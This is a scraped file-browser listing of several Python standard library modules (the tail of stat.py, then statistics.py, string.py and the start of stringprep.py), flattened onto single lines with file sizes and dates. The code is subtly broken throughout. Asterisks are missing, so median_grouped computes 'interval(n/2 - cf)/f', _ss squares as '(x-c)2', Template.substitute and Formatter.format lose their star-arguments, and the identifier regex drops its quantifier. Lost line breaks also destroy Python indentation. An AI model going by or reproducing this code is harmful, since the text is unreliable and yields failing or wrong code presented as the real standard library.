((S_IRGRP, "r"),), ((S_IWGRP, "w"),), ((S_IXGRP\|S_ISGID, "s"), (S_ISGID, "S"), (S_IXGRP, "x")), ((S_IROTH, "r"),), ((S_IWOTH, "w"),), ((S_IXOTH\|S_ISVTX, "t"), (S_ISVTX, "T"), (S_IXOTH, "x")) ) def filemode(mode): """Convert a file's mode to a string of the form '-rwxrwxrwx'.""" perm = [] for table in _filemode_table: for bit, char in table: if mode & bit == bit: perm.append(char) break else: perm.append("-") return "".join(perm) # Windows FILE_ATTRIBUTE constants for interpreting os.stat()'s # "st_file_attributes" member FILE_ATTRIBUTE_ARCHIVE = 32 FILE_ATTRIBUTE_COMPRESSED = 2048 FILE_ATTRIBUTE_DEVICE = 64 FILE_ATTRIBUTE_DIRECTORY = 16 FILE_ATTRIBUTE_ENCRYPTED = 16384 FILE_ATTRIBUTE_HIDDEN = 2 FILE_ATTRIBUTE_INTEGRITY_STREAM = 32768 FILE_ATTRIBUTE_NORMAL = 128 FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192 FILE_ATTRIBUTE_NO_SCRUB_DATA = 131072 FILE_ATTRIBUTE_OFFLINE = 4096 FILE_ATTRIBUTE_READONLY = 1 FILE_ATTRIBUTE_REPARSE_POINT = 1024 FILE_ATTRIBUTE_SPARSE_FILE = 512 FILE_ATTRIBUTE_SYSTEM = 4 FILE_ATTRIBUTE_TEMPORARY = 256 FILE_ATTRIBUTE_VIRTUAL = 65536 # If available, use C implementation try: from _stat import * except ImportError: pass	5.26 KB	2024-04-17 17:55
📄 statistics.py """ Basic statistics module. This module provides functions for calculating statistics of data, including averages, variance, and standard deviation. Calculating averages -------------------- ================== ============================================= Function Description ================== ============================================= mean Arithmetic mean (average) of data. harmonic_mean Harmonic mean of data. median Median (middle value) of data. median_low Low median of data. median_high High median of data. median_grouped Median, or 50th percentile, of grouped data. mode Mode (most common value) of data. ================== ============================================= Calculate the arithmetic mean ("the average") of data: >>> mean([-1.0, 2.5, 3.25, 5.75]) 2.625 Calculate the standard median of discrete data: >>> median([2, 3, 4, 5]) 3.5 Calculate the median, or 50th percentile, of data grouped into class intervals centred on the data values provided. E.g. if your data points are rounded to the nearest whole number: >>> median_grouped([2, 2, 3, 3, 3, 4]) #doctest: +ELLIPSIS 2.8333333333... This should be interpreted in this way: you have two data points in the class interval 1.5-2.5, three data points in the class interval 2.5-3.5, and one in the class interval 3.5-4.5. The median of these data points is 2.8333... Calculating variability or spread --------------------------------- ================== ============================================= Function Description ================== ============================================= pvariance Population variance of data. variance Sample variance of data. pstdev Population standard deviation of data. stdev Sample standard deviation of data. ================== ============================================= Calculate the standard deviation of sample data: >>> stdev([2.5, 3.25, 5.5, 11.25, 11.75]) #doctest: +ELLIPSIS 4.38961843444... If you have previously calculated the mean, you can pass it as the optional second argument to the four "spread" functions to avoid recalculating it: >>> data = [1, 2, 2, 4, 4, 4, 5, 6] >>> mu = mean(data) >>> pvariance(data, mu) 2.5 Exceptions ---------- A single exception is defined: StatisticsError is a subclass of ValueError. """ __all__ = [ 'StatisticsError', 'pstdev', 'pvariance', 'stdev', 'variance', 'median', 'median_low', 'median_high', 'median_grouped', 'mean', 'mode', 'harmonic_mean', ] import collections import math import numbers from fractions import Fraction from decimal import Decimal from itertools import groupby from bisect import bisect_left, bisect_right # === Exceptions === class StatisticsError(ValueError): pass # === Private utilities === def _sum(data, start=0): """_sum(data [, start]) -> (type, sum, count) Return a high-precision sum of the given numeric data as a fraction, together with the type to be converted to and the count of items. If optional argument ``start`` is given, it is added to the total. If ``data`` is empty, ``start`` (defaulting to 0) is returned. Examples -------- >>> _sum([3, 2.25, 4.5, -0.5, 1.0], 0.75) (<class 'float'>, Fraction(11, 1), 5) Some sources of round-off error will be avoided: # Built-in sum returns zero. >>> _sum([1e50, 1, -1e50] * 1000) (<class 'float'>, Fraction(1000, 1), 3000) Fractions and Decimals are also supported: >>> from fractions import Fraction as F >>> _sum([F(2, 3), F(7, 5), F(1, 4), F(5, 6)]) (<class 'fractions.Fraction'>, Fraction(63, 20), 4) >>> from decimal import Decimal as D >>> data = [D("0.1375"), D("0.2108"), D("0.3061"), D("0.0419")] >>> _sum(data) (<class 'decimal.Decimal'>, Fraction(6963, 10000), 4) Mixed types are currently treated as an error, except that int is allowed. """ count = 0 n, d = _exact_ratio(start) partials = {d: n} partials_get = partials.get T = _coerce(int, type(start)) for typ, values in groupby(data, type): T = _coerce(T, typ) # or raise TypeError for n,d in map(_exact_ratio, values): count += 1 partials[d] = partials_get(d, 0) + n if None in partials: # The sum will be a NAN or INF. We can ignore all the finite # partials, and just look at this special one. total = partials[None] assert not _isfinite(total) else: # Sum all the partial sums using builtin sum. # FIXME is this faster if we sum them in order of the denominator? total = sum(Fraction(n, d) for d, n in sorted(partials.items())) return (T, total, count) def _isfinite(x): try: return x.is_finite() # Likely a Decimal. except AttributeError: return math.isfinite(x) # Coerces to float first. def _coerce(T, S): """Coerce types T and S to a common type, or raise TypeError. Coercion rules are currently an implementation detail. See the CoerceTest test class in test_statistics for details. """ # See http://bugs.python.org/issue24068. assert T is not bool, "initial type T is bool" # If the types are the same, no need to coerce anything. Put this # first, so that the usual case (no coercion needed) happens as soon # as possible. if T is S: return T # Mixed int & other coerce to the other type. if S is int or S is bool: return T if T is int: return S # If one is a (strict) subclass of the other, coerce to the subclass. if issubclass(S, T): return S if issubclass(T, S): return T # Ints coerce to the other type. if issubclass(T, int): return S if issubclass(S, int): return T # Mixed fraction & float coerces to float (or float subclass). if issubclass(T, Fraction) and issubclass(S, float): return S if issubclass(T, float) and issubclass(S, Fraction): return T # Any other combination is disallowed. msg = "don't know how to coerce %s and %s" raise TypeError(msg % (T.__name__, S.__name__)) def _exact_ratio(x): """Return Real number x to exact (numerator, denominator) pair. >>> _exact_ratio(0.25) (1, 4) x is expected to be an int, Fraction, Decimal or float. """ try: # Optimise the common case of floats. We expect that the most often # used numeric type will be builtin floats, so try to make this as # fast as possible. if type(x) is float or type(x) is Decimal: return x.as_integer_ratio() try: # x may be an int, Fraction, or Integral ABC. return (x.numerator, x.denominator) except AttributeError: try: # x may be a float or Decimal subclass. return x.as_integer_ratio() except AttributeError: # Just give up? pass except (OverflowError, ValueError): # float NAN or INF. assert not _isfinite(x) return (x, None) msg = "can't convert type '{}' to numerator/denominator" raise TypeError(msg.format(type(x).__name__)) def _convert(value, T): """Convert value to given numeric type T.""" if type(value) is T: # This covers the cases where T is Fraction, or where value is # a NAN or INF (Decimal or float). return value if issubclass(T, int) and value.denominator != 1: T = float try: # FIXME: what do we do if this overflows? return T(value) except TypeError: if issubclass(T, Decimal): return T(value.numerator)/T(value.denominator) else: raise def _counts(data): # Generate a table of sorted (value, frequency) pairs. table = collections.Counter(iter(data)).most_common() if not table: return table # Extract the values with the highest frequency. maxfreq = table[0][1] for i in range(1, len(table)): if table[i][1] != maxfreq: table = table[:i] break return table def _find_lteq(a, x): 'Locate the leftmost value exactly equal to x' i = bisect_left(a, x) if i != len(a) and a[i] == x: return i raise ValueError def _find_rteq(a, l, x): 'Locate the rightmost value exactly equal to x' i = bisect_right(a, x, lo=l) if i != (len(a)+1) and a[i-1] == x: return i-1 raise ValueError def _fail_neg(values, errmsg='negative value'): """Iterate over values, failing if any are less than zero.""" for x in values: if x < 0: raise StatisticsError(errmsg) yield x # === Measures of central tendency (averages) === def mean(data): """Return the sample arithmetic mean of data. >>> mean([1, 2, 3, 4, 4]) 2.8 >>> from fractions import Fraction as F >>> mean([F(3, 7), F(1, 21), F(5, 3), F(1, 3)]) Fraction(13, 21) >>> from decimal import Decimal as D >>> mean([D("0.5"), D("0.75"), D("0.625"), D("0.375")]) Decimal('0.5625') If ``data`` is empty, StatisticsError will be raised. """ if iter(data) is data: data = list(data) n = len(data) if n < 1: raise StatisticsError('mean requires at least one data point') T, total, count = _sum(data) assert count == n return _convert(total/n, T) def harmonic_mean(data): """Return the harmonic mean of data. The harmonic mean, sometimes called the subcontrary mean, is the reciprocal of the arithmetic mean of the reciprocals of the data, and is often appropriate when averaging quantities which are rates or ratios, for example speeds. Example: Suppose an investor purchases an equal value of shares in each of three companies, with P/E (price/earning) ratios of 2.5, 3 and 10. What is the average P/E ratio for the investor's portfolio? >>> harmonic_mean([2.5, 3, 10]) # For an equal investment portfolio. 3.6 Using the arithmetic mean would give an average of about 5.167, which is too high. If ``data`` is empty, or any element is less than zero, ``harmonic_mean`` will raise ``StatisticsError``. """ # For a justification for using harmonic mean for P/E ratios, see # http://fixthepitch.pellucid.com/comps-analysis-the-missing-harmony-of-summary-statistics/ # http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2621087 if iter(data) is data: data = list(data) errmsg = 'harmonic mean does not support negative values' n = len(data) if n < 1: raise StatisticsError('harmonic_mean requires at least one data point') elif n == 1: x = data[0] if isinstance(x, (numbers.Real, Decimal)): if x < 0: raise StatisticsError(errmsg) return x else: raise TypeError('unsupported type') try: T, total, count = _sum(1/x for x in _fail_neg(data, errmsg)) except ZeroDivisionError: return 0 assert count == n return _convert(n/total, T) # FIXME: investigate ways to calculate medians without sorting? Quickselect? def median(data): """Return the median (middle value) of numeric data. When the number of data points is odd, return the middle data point. When the number of data points is even, the median is interpolated by taking the average of the two middle values: >>> median([1, 3, 5]) 3 >>> median([1, 3, 5, 7]) 4.0 """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") if n%2 == 1: return data[n//2] else: i = n//2 return (data[i - 1] + data[i])/2 def median_low(data): """Return the low median of numeric data. When the number of data points is odd, the middle value is returned. When it is even, the smaller of the two middle values is returned. >>> median_low([1, 3, 5]) 3 >>> median_low([1, 3, 5, 7]) 3 """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") if n%2 == 1: return data[n//2] else: return data[n//2 - 1] def median_high(data): """Return the high median of data. When the number of data points is odd, the middle value is returned. When it is even, the larger of the two middle values is returned. >>> median_high([1, 3, 5]) 3 >>> median_high([1, 3, 5, 7]) 5 """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") return data[n//2] def median_grouped(data, interval=1): """Return the 50th percentile (median) of grouped continuous data. >>> median_grouped([1, 2, 2, 3, 4, 4, 4, 4, 4, 5]) 3.7 >>> median_grouped([52, 52, 53, 54]) 52.5 This calculates the median as the 50th percentile, and should be used when your data is continuous and grouped. In the above example, the values 1, 2, 3, etc. actually represent the midpoint of classes 0.5-1.5, 1.5-2.5, 2.5-3.5, etc. The middle value falls somewhere in class 3.5-4.5, and interpolation is used to estimate it. Optional argument ``interval`` represents the class interval, and defaults to 1. Changing the class interval naturally will change the interpolated 50th percentile value: >>> median_grouped([1, 3, 3, 5, 7], interval=1) 3.25 >>> median_grouped([1, 3, 3, 5, 7], interval=2) 3.5 This function does not check whether the data points are at least ``interval`` apart. """ data = sorted(data) n = len(data) if n == 0: raise StatisticsError("no median for empty data") elif n == 1: return data[0] # Find the value at the midpoint. Remember this corresponds to the # centre of the class interval. x = data[n//2] for obj in (x, interval): if isinstance(obj, (str, bytes)): raise TypeError('expected number but got %r' % obj) try: L = x - interval/2 # The lower limit of the median interval. except TypeError: # Mixed type. For now we just coerce to float. L = float(x) - float(interval)/2 # Uses bisection search to search for x in data with log(n) time complexity # Find the position of leftmost occurrence of x in data l1 = _find_lteq(data, x) # Find the position of rightmost occurrence of x in data[l1...len(data)] # Assuming always l1 <= l2 l2 = _find_rteq(data, l1, x) cf = l1 f = l2 - l1 + 1 return L + interval(n/2 - cf)/f def mode(data): """Return the most common data point from discrete or nominal data. ``mode`` assumes discrete data, and returns a single value. This is the standard treatment of the mode as commonly taught in schools: >>> mode([1, 1, 2, 3, 3, 3, 3, 4]) 3 This also works with nominal (non-numeric) data: >>> mode(["red", "blue", "blue", "red", "green", "red", "red"]) 'red' If there is not exactly one most common value, ``mode`` will raise StatisticsError. """ # Generate a table of sorted (value, frequency) pairs. table = _counts(data) if len(table) == 1: return table[0][0] elif table: raise StatisticsError( 'no unique mode; found %d equally common values' % len(table) ) else: raise StatisticsError('no mode for empty data') # === Measures of spread === # See http://mathworld.wolfram.com/Variance.html # http://mathworld.wolfram.com/SampleVariance.html # http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance # # Under no circumstances use the so-called "computational formula for # variance", as that is only suitable for hand calculations with a small # amount of low-precision data. It has terrible numeric properties. # # See a comparison of three computational methods here: # http://www.johndcook.com/blog/2008/09/26/comparing-three-methods-of-computing-standard-deviation/ def _ss(data, c=None): """Return sum of square deviations of sequence data. If ``c`` is None, the mean is calculated in one pass, and the deviations from the mean are calculated in a second pass. Otherwise, deviations are calculated from ``c`` as given. Use the second case with care, as it can lead to garbage results. """ if c is None: c = mean(data) T, total, count = _sum((x-c)2 for x in data) # The following sum should mathematically equal zero, but due to rounding # error may not. U, total2, count2 = _sum((x-c) for x in data) assert T == U and count == count2 total -= total2*2/len(data) assert not total < 0, 'negative sum of square deviations: %f' % total return (T, total) def variance(data, xbar=None): """Return the sample variance of data. data should be an iterable of Real-valued numbers, with at least two values. The optional argument xbar, if given, should be the mean of the data. If it is missing or None, the mean is automatically calculated. Use this function when your data is a sample from a population. To calculate the variance from the entire population, see ``pvariance``. Examples: >>> data = [2.75, 1.75, 1.25, 0.25, 0.5, 1.25, 3.5] >>> variance(data) 1.3720238095238095 If you have already calculated the mean of your data, you can pass it as the optional second argument ``xbar`` to avoid recalculating it: >>> m = mean(data) >>> variance(data, m) 1.3720238095238095 This function does not check that ``xbar`` is actually the mean of ``data``. Giving arbitrary values for ``xbar`` may lead to invalid or impossible results. Decimals and Fractions are supported: >>> from decimal import Decimal as D >>> variance([D("27.5"), D("30.25"), D("30.25"), D("34.5"), D("41.75")]) Decimal('31.01875') >>> from fractions import Fraction as F >>> variance([F(1, 6), F(1, 2), F(5, 3)]) Fraction(67, 108) """ if iter(data) is data: data = list(data) n = len(data) if n < 2: raise StatisticsError('variance requires at least two data points') T, ss = _ss(data, xbar) return _convert(ss/(n-1), T) def pvariance(data, mu=None): """Return the population variance of ``data``. data should be an iterable of Real-valued numbers, with at least one value. The optional argument mu, if given, should be the mean of the data. If it is missing or None, the mean is automatically calculated. Use this function to calculate the variance from the entire population. To estimate the variance from a sample, the ``variance`` function is usually a better choice. Examples: >>> data = [0.0, 0.25, 0.25, 1.25, 1.5, 1.75, 2.75, 3.25] >>> pvariance(data) 1.25 If you have already calculated the mean of the data, you can pass it as the optional second argument to avoid recalculating it: >>> mu = mean(data) >>> pvariance(data, mu) 1.25 This function does not check that ``mu`` is actually the mean of ``data``. Giving arbitrary values for ``mu`` may lead to invalid or impossible results. Decimals and Fractions are supported: >>> from decimal import Decimal as D >>> pvariance([D("27.5"), D("30.25"), D("30.25"), D("34.5"), D("41.75")]) Decimal('24.815') >>> from fractions import Fraction as F >>> pvariance([F(1, 4), F(5, 4), F(1, 2)]) Fraction(13, 72) """ if iter(data) is data: data = list(data) n = len(data) if n < 1: raise StatisticsError('pvariance requires at least one data point') T, ss = _ss(data, mu) return _convert(ss/n, T) def stdev(data, xbar=None): """Return the square root of the sample variance. See ``variance`` for arguments and other details. >>> stdev([1.5, 2.5, 2.5, 2.75, 3.25, 4.75]) 1.0810874155219827 """ var = variance(data, xbar) try: return var.sqrt() except AttributeError: return math.sqrt(var) def pstdev(data, mu=None): """Return the square root of the population variance. See ``pvariance`` for arguments and other details. >>> pstdev([1.5, 2.5, 2.5, 2.75, 3.25, 4.75]) 0.986893273527251 """ var = pvariance(data, mu) try: return var.sqrt() except AttributeError: return math.sqrt(var)	20.17 KB	2024-04-17 17:55
📄 string.py """A collection of string constants. Public module variables: whitespace -- a string containing all ASCII whitespace ascii_lowercase -- a string containing all ASCII lowercase letters ascii_uppercase -- a string containing all ASCII uppercase letters ascii_letters -- a string containing all ASCII letters digits -- a string containing all ASCII decimal digits hexdigits -- a string containing all ASCII hexadecimal digits octdigits -- a string containing all ASCII octal digits punctuation -- a string containing all ASCII punctuation characters printable -- a string containing all ASCII characters considered printable """ __all__ = ["ascii_letters", "ascii_lowercase", "ascii_uppercase", "capwords", "digits", "hexdigits", "octdigits", "printable", "punctuation", "whitespace", "Formatter", "Template"] import _string # Some strings for ctype-style character classification whitespace = ' \t\n\r\v\f' ascii_lowercase = 'abcdefghijklmnopqrstuvwxyz' ascii_uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' ascii_letters = ascii_lowercase + ascii_uppercase digits = '0123456789' hexdigits = digits + 'abcdef' + 'ABCDEF' octdigits = '01234567' punctuation = r"""!"#$%&'()+,-./:;<=>?@[\]^_`{\|}~""" printable = digits + ascii_letters + punctuation + whitespace # Functions which aren't available as string methods. # Capitalize the words in a string, e.g. " aBc dEf " -> "Abc Def". def capwords(s, sep=None): """capwords(s [,sep]) -> string Split the argument into words using split, capitalize each word using capitalize, and join the capitalized words using join. If the optional second argument sep is absent or None, runs of whitespace characters are replaced by a single space and leading and trailing whitespace are removed, otherwise sep is used to split and join the words. """ return (sep or ' ').join(x.capitalize() for x in s.split(sep)) #################################################################### import re as _re from collections import ChainMap as _ChainMap class _TemplateMetaclass(type): pattern = r""" %(delim)s(?: (?P<escaped>%(delim)s) \| # Escape sequence of two delimiters (?P<named>%(id)s) \| # delimiter and a Python identifier {(?P<braced>%(bid)s)} \| # delimiter and a braced identifier (?P<invalid>) # Other ill-formed delimiter exprs ) """ def __init__(cls, name, bases, dct): super(_TemplateMetaclass, cls).__init__(name, bases, dct) if 'pattern' in dct: pattern = cls.pattern else: pattern = _TemplateMetaclass.pattern % { 'delim' : _re.escape(cls.delimiter), 'id' : cls.idpattern, 'bid' : cls.braceidpattern or cls.idpattern, } cls.pattern = _re.compile(pattern, cls.flags \| _re.VERBOSE) class Template(metaclass=_TemplateMetaclass): """A string class for supporting $-substitutions.""" delimiter = '$' # r'[a-z]' matches to non-ASCII letters when used with IGNORECASE, but # without the ASCII flag. We can't add re.ASCII to flags because of # backward compatibility. So we use the ?a local flag and [a-z] pattern. # See https://bugs.python.org/issue31672 idpattern = r'(?a:[_a-z][_a-z0-9])' braceidpattern = None flags = _re.IGNORECASE def __init__(self, template): self.template = template # Search for $$, $identifier, ${identifier}, and any bare $'s def _invalid(self, mo): i = mo.start('invalid') lines = self.template[:i].splitlines(keepends=True) if not lines: colno = 1 lineno = 1 else: colno = i - len(''.join(lines[:-1])) lineno = len(lines) raise ValueError('Invalid placeholder in string: line %d, col %d' % (lineno, colno)) def substitute(args, kws): if not args: raise TypeError("descriptor 'substitute' of 'Template' object " "needs an argument") self, args = args # allow the "self" keyword be passed if len(args) > 1: raise TypeError('Too many positional arguments') if not args: mapping = kws elif kws: mapping = _ChainMap(kws, args[0]) else: mapping = args[0] # Helper function for .sub() def convert(mo): # Check the most common path first. named = mo.group('named') or mo.group('braced') if named is not None: return str(mapping[named]) if mo.group('escaped') is not None: return self.delimiter if mo.group('invalid') is not None: self._invalid(mo) raise ValueError('Unrecognized named group in pattern', self.pattern) return self.pattern.sub(convert, self.template) def safe_substitute(args, kws): if not args: raise TypeError("descriptor 'safe_substitute' of 'Template' object " "needs an argument") self, args = args # allow the "self" keyword be passed if len(args) > 1: raise TypeError('Too many positional arguments') if not args: mapping = kws elif kws: mapping = _ChainMap(kws, args[0]) else: mapping = args[0] # Helper function for .sub() def convert(mo): named = mo.group('named') or mo.group('braced') if named is not None: try: return str(mapping[named]) except KeyError: return mo.group() if mo.group('escaped') is not None: return self.delimiter if mo.group('invalid') is not None: return mo.group() raise ValueError('Unrecognized named group in pattern', self.pattern) return self.pattern.sub(convert, self.template) ######################################################################## # the Formatter class # see PEP 3101 for details and purpose of this class # The hard parts are reused from the C implementation. They're exposed as "_" # prefixed methods of str. # The overall parser is implemented in _string.formatter_parser. # The field name parser is implemented in _string.formatter_field_name_split class Formatter: def format(args, kwargs): if not args: raise TypeError("descriptor 'format' of 'Formatter' object " "needs an argument") self, args = args # allow the "self" keyword be passed try: format_string, *args = args # allow the "format_string" keyword be passed except ValueError: raise TypeError("format() missing 1 required positional " "argument: 'format_string'") from None return self.vformat(format_string, args, kwargs) def vformat(self, format_string, args, kwargs): used_args = set() result, _ = self._vformat(format_string, args, kwargs, used_args, 2) self.check_unused_args(used_args, args, kwargs) return result def _vformat(self, format_string, args, kwargs, used_args, recursion_depth, auto_arg_index=0): if recursion_depth < 0: raise ValueError('Max string recursion exceeded') result = [] for literal_text, field_name, format_spec, conversion in \ self.parse(format_string): # output the literal text if literal_text: result.append(literal_text) # if there's a field, output it if field_name is not None: # this is some markup, find the object and do # the formatting # handle arg indexing when empty field_names are given. if field_name == '': if auto_arg_index is False: raise ValueError('cannot switch from manual field ' 'specification to automatic field ' 'numbering') field_name = str(auto_arg_index) auto_arg_index += 1 elif field_name.isdigit(): if auto_arg_index: raise ValueError('cannot switch from manual field ' 'specification to automatic field ' 'numbering') # disable auto arg incrementing, if it gets # used later on, then an exception will be raised auto_arg_index = False # given the field_name, find the object it references # and the argument it came from obj, arg_used = self.get_field(field_name, args, kwargs) used_args.add(arg_used) # do any conversion on the resulting object obj = self.convert_field(obj, conversion) # expand the format spec, if needed format_spec, auto_arg_index = self._vformat( format_spec, args, kwargs, used_args, recursion_depth-1, auto_arg_index=auto_arg_index) # format the object and append to the result result.append(self.format_field(obj, format_spec)) return ''.join(result), auto_arg_index def get_value(self, key, args, kwargs): if isinstance(key, int): return args[key] else: return kwargs[key] def check_unused_args(self, used_args, args, kwargs): pass def format_field(self, value, format_spec): return format(value, format_spec) def convert_field(self, value, conversion): # do any conversion on the resulting object if conversion is None: return value elif conversion == 's': return str(value) elif conversion == 'r': return repr(value) elif conversion == 'a': return ascii(value) raise ValueError("Unknown conversion specifier {0!s}".format(conversion)) # returns an iterable that contains tuples of the form: # (literal_text, field_name, format_spec, conversion) # literal_text can be zero length # field_name can be None, in which case there's no # object to format and output # if field_name is not None, it is looked up, formatted # with format_spec and conversion and then used def parse(self, format_string): return _string.formatter_parser(format_string) # given a field_name, find the object it references. # field_name: the field being looked up, e.g. "0.name" # or "lookup[3]" # used_args: a set of which args have been used # args, kwargs: as passed in to vformat def get_field(self, field_name, args, kwargs): first, rest = _string.formatter_field_name_split(field_name) obj = self.get_value(first, args, kwargs) # loop through the rest of the field_name, doing # getattr or getitem as needed for is_attr, i in rest: if is_attr: obj = getattr(obj, i) else: obj = obj[i] return obj, first	11.29 KB	2024-04-17 17:55
📄 stringprep.py # This file is generated by mkstringprep.py. DO NOT EDIT. """Library that exposes various tables found in the StringPrep RFC 3454. There are two kinds of tables: sets, for which a member test is provided, and mappings, for which a mapping function is provided. """ from unicodedata import ucd_3_2_0 as unicodedata assert unicodedata.unidata_version == '3.2.0' def in_table_a1(code): if unicodedata.category(code) != 'Cn': return False c = ord(code) if 0xFDD0 <= c < 0xFDF0: return False return (c & 0xFFFF) not in (0xFFFE, 0xFFFF) b1_set = set([173, 847, 6150, 6155, 6156, 6157, 8203, 8204, 8205, 8288, 65279] + list(range(65024,65040))) def in_table_b1(code): return ord(code) in b1_set b3_exceptions = { 0xb5:'\u03bc', 0xdf:'ss', 0x130:'i\u0307', 0x149:'\u02bcn', 0x17f:'s', 0x1f0:'j\u030c', 0x345:'\u03b9', 0x37a:' \u03b9', 0x390:'\u03b9\u0308\u0301', 0x3b0:'\u03c5\u0308\u0301', 0x3c2:'\u03c3', 0x3d0:'\u03b2', 0x3d1:'\u03b8', 0x3d2:'\u03c5', 0x3d3:'\u03cd', 0x3d4:'\u03cb', 0x3d5:'\u03c6', 0x3d6:'\u03c0', 0x3f0:'\u03ba', 0x3f1:'\u03c1', 0x3f2:'\u03c3', 0x3f5:'\u03b5', 0x587:'\u0565\u0582', 0x1e96:'h\u0331', 0x1e97:'t\u0308', 0x1e98:'w\u030a', 0x1e99:'y\u030a', 0x1e9a:'a\u02be', 0x1e9b:'\u1e61', 0x1f50:'\u03c5\u0313', 0x1f52:'\u03c5\u0313\u0300', 0x1f54:'\u03c5\u0313\u0301', 0x1f56:'\u03c5\u0313\u0342', 0x1f80:'\u1f00\u03b9', 0x1f81:'\u1f01\u03b9', 0x1f82:'\u1f02\u03b9', 0x1f83:'\u1f03\u03b9', 0x1f84:'\u1f04\u03b9', 0x1f85:'\u1f05\u03b9', 0x1f86:'\u1f06\u03b9', 0x1f87:'\u1f07\u03b9', 0x1f88:'\u1f00\u03b9', 0x1f89:'\u1f01\u03b9', 0x1f8a:'\u1f02\u03b9', 0x1f8b:'\u1f03\u03b9', 0x1f8c:'\u1f04\u03b9', 0x1f8d:'\u1f05\u03b9', 0x1f8e:'\u1f06\u03b9', 0x1f8f:'\u1f07\u03b9', 0x1f90:'\u1f20\u03b9', 0x1f91:'\u1f21\u03b9', 0x1f92:'\u1f22\u03b9', 0x1f93:'\u1f23\u03b9', 0x1f94:'\u1f24\u03b9', 0x1f95:'\u1f25\u03b9', 0x1f96:'\u1f26\u03b9', 0x1f97:'\u1f27\u03b9', 0x1f98:'\u1f20\u03b9', 0x1f99:'\u1f21\u03b9', 0x1f9a:'\u1f22\u03b9', 0x1f9b:'\u1f23\u03b9', 0x1f9c:'\u1f24\u03b9', 0x1f9d:'\u1f25\u03b9', 0x1f9e:'\u1f26\u03b9', 0x1f9f:'\u1f27\u03b9', 0x1fa0:'\u1f60\u03b9', 0x1fa1:'\u1f61\u03b9', 0x1fa2:'\u1f62\u03b9', 0x1fa3:'\u1f63\u03b9', 0x1fa4:'\u1f64\u03b9', 0x1fa5:'\u1f65\u03b9', 0x1fa6:'\u1f66\u03b9', 0x1fa7:'\u1f67\u03b9', 0x1fa8:'\u1f60\u03b9', 0x1fa9:'\u1f61\u03b9', 0x1faa:'\u1f62\u03b9', 0x1fab:'\u1f63\u03b9', 0x1fac:'\u1f64\u03b9', 0x1fad:'\u1f65\u03b9', 0x1fae:'\u1f66\u03b9', 0x1faf:'\u1f67\u03b9', 0x1fb2:'\u1f70\u03b9', 0x1fb3:'\u03b1\u03b9', 0x1fb4:'\u03ac\u03b9', 0x1fb6:'\u03b1\u0342', 0x1fb7:'\u03b1\u0342\u03b9', 0x1fbc:'\u03b1\u03b9', 0x1fbe:'\u03b9', 0x1fc2:'\u1f74\u03b9', 0x1fc3:'\u03b7\u03b9', 0x1fc4:'\u03ae\u03b9', 0x1fc6:'\u03b7\u0342', 0x1fc7:'\u03b7\u0342\u03b9', 0x1fcc:'\u03b7\u03b9', 0x1fd2:'\u03b9\u0308\u0300', 0x1fd3:'\u03b9\u0308\u0301', 0x1fd6:'\u03b9\u0342', 0x1fd7:'\u03b9\u0308\u0342', 0x1fe2:'\u03c5\u0308\u0300', 0x1fe3:'\u03c5\u0308\u0301', 0x1fe4:'\u03c1\u0313', 0x1fe6:'\u03c5\u0342', 0x1fe7:'\u03c5\u0308\u0342', 0x1ff2:'\u1f7c\u03b9', 0x1ff3:'\u03c9\u03b9', 0x1ff4:'\u03ce\u03b9', 0x1ff6:'\u03c9\u0342', 0x1ff7:'\u03c9\u0342\u03b9', 0x1ffc:'\u03c9\u03b9', 0x20a8:'rs', 0x2102:'c', 0x2103:'\xb0c', 0x2107:'\u025b', 0x2109:'\xb0f', 0x210b:'h', 0x210c:'h', 0x210d:'h', 0x2110:'i', 0x2111:'i', 0x2112:'l', 0x2115:'n', 0x2116:'no', 0x2119:'p', 0x211a:'q', 0x211b:'r', 0x211c:'r', 0x211d:'r', 0x2120:'sm', 0x2121:'tel', 0x2122:'tm', 0x2124:'z', 0x2128:'z', 0x212c:'b', 0x212d:'c', 0x2130:'e', 0x2131:'f', 0x2133:'m', 0x213e:'\u03b3', 0x213f:'\u03c0', 0x2145:'d', 0x3371:'hpa', 0x3373:'au', 0x3375:'ov', 0x3380:'pa', 0x3381:'na', 0x3382:'\u03bca', 0x3383:'ma', 0x3384:'ka', 0x3385:'kb', 0x3386:'mb', 0x3387:'gb', 0x338a:'pf', 0x338b:'nf', 0x338c:'\u03bcf', 0x3390:'hz', 0x3391:'khz', 0x3392:'mhz', 0x3393:'ghz', 0x3394:'thz', 0x33a9:'pa', 0x33aa:'kpa', 0x33ab:'mpa', 0x33ac:'gpa', 0x33b4:'pv', 0x33b5:'nv', 0x33b6:'\u03bcv', 0x33b7:'mv', 0x33b8:'kv', 0x33b9:'mv', 0x33ba:'pw', 0x33bb:'nw', 0x33bc:'\u03bcw', 0x33bd:'mw', 0x33be:'kw', 0x33bf:'mw', 0x33c0:'k\u03c9', 0x33c1:'m\u03c9', 0x33c3:'bq', 0x33c6:'c\u2215kg', 0x33c7:'co.', 0x33c8:'db', 0x33c9:'gy', 0x33cb:'hp', 0x33cd:'kk', 0x33ce:'km', 0x33d7:'ph', 0x33d9:'ppm', 0x33da:'pr', 0x33dc:'sv', 0x33dd:'wb', 0xfb00:'ff', 0xfb01:'fi', 0xfb02:'fl', 0xfb03:'ffi', 0xfb04:'ffl', 0xfb05:'st', 0xfb06:'st', 0xfb13:'\u0574\u0576', 0xfb14:'\u0574\u0565', 0xfb15:'\u0574\u056b', 0xfb16:'\u057e\u0576', 0xfb17:'\u0574\u056d', 0x1d400:'a', 0x1d401:'b', 0x1d402:'c', 0x1d403:'d', 0x1d404:'e', 0x1d405:'f', 0x1d406:'g', 0x1d407:'h', 0x1d408:'i', 0x1d409:'j', 0x1d40a:'k', 0x1d40b:'l', 0x1d40c:'m', 0x1d40d:'n', 0x1d40e:'o', 0x1d40f:'p', 0x1d410:'q', 0x1d411:'r', 0x1d412:'s', 0x1d413:'t', 0x1d414:'u', 0x1d415:'v', 0x1d416:'w', 0x1d417:'x', 0x1d418:'y', 0x1d419:'z', 0x1d434:'a', 0x1d435:'b', 0x1d436:'c', 0x1d437:'d', 0x1d438:'e', 0x1d439:'f', 0x1d43a:'g', 0x1d43b:'h', 